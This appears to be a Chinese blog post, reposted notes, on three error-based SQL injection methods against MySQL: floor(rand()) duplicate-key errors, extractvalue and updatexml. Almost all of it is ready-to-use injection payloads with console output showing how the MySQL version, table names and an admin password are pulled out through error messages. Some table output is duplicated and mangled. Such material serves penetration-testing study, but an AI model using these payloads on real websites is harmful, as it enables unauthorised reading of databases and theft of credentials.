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关于Mysql注入过程中的三种报错方式

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。

实际测试环境：

 mysql&gt; show tables; +—————-+ | Tables_in_test | +—————-+ | admin          | | article        | +—————-+

mysql> show tables;

+––––––––+

| Tables_in_test |

+––––––––+

| admin |

| article |

+––––––––+

 mysql&gt; describe admin; +——-+——————+——+—–+———+—————-+ | Field | Type             | Null | Key | Default | Extra          | +——-+——————+——+—–+———+—————-+ | id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment | | user  | varchar(50)      | NO   |     | NULL    |                | | pass  | varchar(50)      | NO   |     | NULL    |                | +——-+——————+——+—–+———+—————-+

mysql> describe admin;

+–––-+–––––––––+–––+––-+––––-+––––––––+

+–––-+–––––––––+–––+––-+––––-+––––––––+

| id | int(10) unsigned | NO | PRI | NULL | auto_increment |

+–––-+–––––––––+–––+––-+––––-+––––––––+

 mysql&gt; describe article; +———+——————+——+—–+———+—————-+ | Field   | Type             | Null | Key | Default | Extra          | +———+——————+——+—–+———+—————-+ | id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment | | title   | varchar(50)      | NO   |     | NULL    |                | | content | varchar(50)      | NO   |     | NULL    |                | +———+——————+——+—–+———+—————-+

mysql> describe article;

+––––-+–––––––––+–––+––-+––––-+––––––––+

+––––-+–––––––––+–––+––-+––––-+––––––––+

| id | int(10) unsigned | NO | PRI | NULL | auto_increment |

+––––-+–––––––––+–––+––-+––––-+––––––––+

1、通过floor报错

可以通过如下一些利用代码

 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1 2	and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1), floor(rand(0)*2)));

and (select count(*) from (select 1 union select null union select !1)x

group by concat((select table_name from information_schema.tables limit 1),

floor(rand(0)*2)));

举例如下：
首先进行正常查询：

 mysql&gt; select * from article where id = 1; +—-+——-+———+ | id | title | content | +—-+——-+———+ |  1 | test  | do it   | +—-+——-+———+

mysql> select * from article where id = 1;

+––+–––-+––––-+

| id | title | content |

+––+–––-+––––-+

| 1 | test | do it |

+––+–––-+––––-+

假如id输入存在注入的话，可以通过如下语句进行报错。

 mysql&gt; select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ‘group_key’

mysql> select * from article where id = 1 and (select 1 from

(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ‘group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:

 mysql&gt; select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ‘admin8881′ for key ‘group_key’

mysql> select * from article where id = 1 and (select 1 from

(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x

from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881′ for key ‘group_key’

Method2:

 mysql&gt; select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1), floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry ‘admin8881′ for key ‘group_key’

mysql> select * from article where id = 1 and (select count(*)

from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),

floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881′ for key ‘group_key’

2、ExtractValue
测试语句如下

 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

1	and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

 mysql&gt; select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));– ERROR 1105 (HY000): XPATH syntax error: ‘/admin888′

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,

(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘/admin888′

3、UpdateXml
测试语句

 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

1	and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

实际测试过程

 mysql&gt; select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24, (select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: ‘^$admin888^$’

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,

(select pass from admin limit 1),0x5e24),1));

ERROR 1105 (HY000): XPATH syntax error: ‘^$admin888^$’

All, thanks foreign guys.

link:http://blog.ourren.com/2012/11/03/pentest_method_of_mysql_error.html

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